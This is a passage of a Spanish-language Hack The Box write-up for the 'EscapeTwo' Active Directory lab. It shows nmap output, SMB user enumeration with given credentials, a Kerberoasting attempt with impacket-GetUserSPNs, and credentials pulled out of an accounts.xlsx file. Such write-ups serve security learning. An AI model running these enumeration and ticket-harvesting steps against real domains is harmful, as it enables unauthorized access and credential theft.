&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3268&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; sequel.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3269&lt;/span&gt;/tcp open ssl/ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; sequel.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;5985&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft HTTPAPI httpd &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt; (SSDP/UPnP)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-HTTPAPI/&lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;9389&lt;/span&gt;/tcp open mc-nmf syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; .NET Message Framing
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;47001&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft HTTPAPI httpd &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt; (SSDP/UPnP)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-HTTPAPI/&lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49665&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49666&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49667&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49689&lt;/span&gt;/tcp open ncacn_http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC over HTTP &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49695&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49712&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49728&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49736&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Host&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; DC01; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Windows; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:microsoft&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;windows
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="smb-con-credenciales-dadas"&gt;SMB (con credenciales dadas)&lt;/h3&gt;
&lt;p&gt;Accedí a SMB usando las credenciales proporcionadas.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8020-8535-ce56fa33fb79.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Dentro vi dos directorios interesantes: &lt;strong&gt;Accounting Department&lt;/strong&gt; y &lt;strong&gt;Users&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Me descargué todos los archivos de esos directorios para analizarlos.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-80f9-b783-d799fc35739a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En un primer vistazo no parecía haber nada útil.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-80d9-b0e7-e3c00b7ed042.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Tampoco encontré nada interesante en MSSQL con ese primer enfoque.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8087-9271-f27ba4d06465.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="enumeración-de-usuarios-y-kerberoasting"&gt;Enumeración de usuarios y Kerberoasting&lt;/h3&gt;
&lt;p&gt;Enumeré usuarios por SMB:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# nxc smb 10.129.69.156 -u rose -p &amp;#39;KxEPkKe6R8su&amp;#39; --users&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 [*] Windows &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; / Server &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; Build &lt;span style="color:#ae81ff"&gt;17763&lt;/span&gt; x64 (name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;DC01) (domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;sequel.htb) (signing&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;True) (SMBv1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;False)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 [+] sequel.htb\rose&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;KxEPkKe6R8su
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 -Username- -Last PW Set- -BadPW- -Description-
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 Administrator &lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;32&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; Built-in account &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; administering the computer/domain
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 Guest &lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;25&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;14&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; Built-in account &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; guest access to the computer/domain
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 krbtgt &lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;23&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; Key Distribution Center Service Account
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 michael &lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;47&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;37&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 ryan &lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;55&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;45&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 oscar &lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;56&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;36&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 sql_svc &lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;09&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;07&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;58&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;42&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 rose &lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;25&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;14&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;54&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 ca_svc &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;07&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 [*] Enumerated &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt; local users&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; SEQUEL
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como aparecían dos cuentas de servicio (&lt;strong&gt;sql_svc&lt;/strong&gt; y &lt;strong&gt;ca_svc&lt;/strong&gt;), probé Kerberoasting para pedir SPNs:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/EscapeTwo/scan]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# impacket-GetUserSPNs -dc-ip 10.129.69.156 sequel.htb/rose &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Password&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;----------------------- ------- ---------------------------------------------------- -------------------------- -------------------------- ----------
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sequel.htb/sql_svc.DC01 sql_svc CN=SQLRUserGroupSQLEXPRESS,CN=Users,DC=sequel,DC=htb &lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;09&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;09&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;58&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;42.689521&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;58&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;35.361372&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sequel.htb/ca_svc.DC01 ca_svc CN=Cert Publishers,CN=Users,DC=sequel,DC=htb &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;29.121764&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;09&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;19&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;14&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;42.333365&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Pedí los tickets:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-803f-ad9d-ca0c164e47ab.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Intenté crackearlos, pero no lo conseguí.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="credenciales-dentro-del-excel-accountsxlsx"&gt;Credenciales dentro del Excel (accounts.xlsx)&lt;/h3&gt;
&lt;p&gt;Volví a los ficheros del SMB y me fijé en &lt;code&gt;accounts.xlsx&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(kali&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[~/Downloads]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;$ file accounts.xlsx
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;accounts.xlsx&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Zip archive data, made by v2.&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, extract using at least v2.&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, last modified, last modified Sun, Jun &lt;span style="color:#ae81ff"&gt;09&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;47&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;, uncompressed size &lt;span style="color:#ae81ff"&gt;681&lt;/span&gt;, method=deflate
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Al ver que era un ZIP, lo descomprimí con &lt;code&gt;unzip&lt;/code&gt; y analicé el contenido. Ahí encontré credenciales.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8027-a0bc-e3ef0424ced8.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En &lt;code&gt;sharedStrings.xml&lt;/code&gt; se veían los valores:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-80a3-9f43-c4ca26b3641b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Y al formatearlo con &lt;code&gt;xmllint&lt;/code&gt; aparecían las credenciales:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(kali&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[~/Downloads/xl]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;$ xmllint --format sharedStrings.xml
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#66d9ef"&gt;?&lt;/span&gt;xml version=&lt;span style="color:#e6db74"&gt;&amp;#34;1.0&amp;#34;&lt;/span&gt; encoding=&lt;span style="color:#e6db74"&gt;&amp;#34;UTF-8&amp;#34;&lt;/span&gt; standalone=&lt;span style="color:#e6db74"&gt;&amp;#34;yes&amp;#34;&lt;/span&gt;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;sst xmlns=&lt;span style="color:#e6db74"&gt;&amp;#34;http://schemas.openxmlformats.org/spreadsheetml/2006/main&amp;#34;&lt;/span&gt; count=&lt;span style="color:#e6db74"&gt;&amp;#34;25&amp;#34;&lt;/span&gt; uniqueCount=&lt;span style="color:#e6db74"&gt;&amp;#34;24&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;First Name&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;Last Name&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;Email&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;Username&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;Password&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
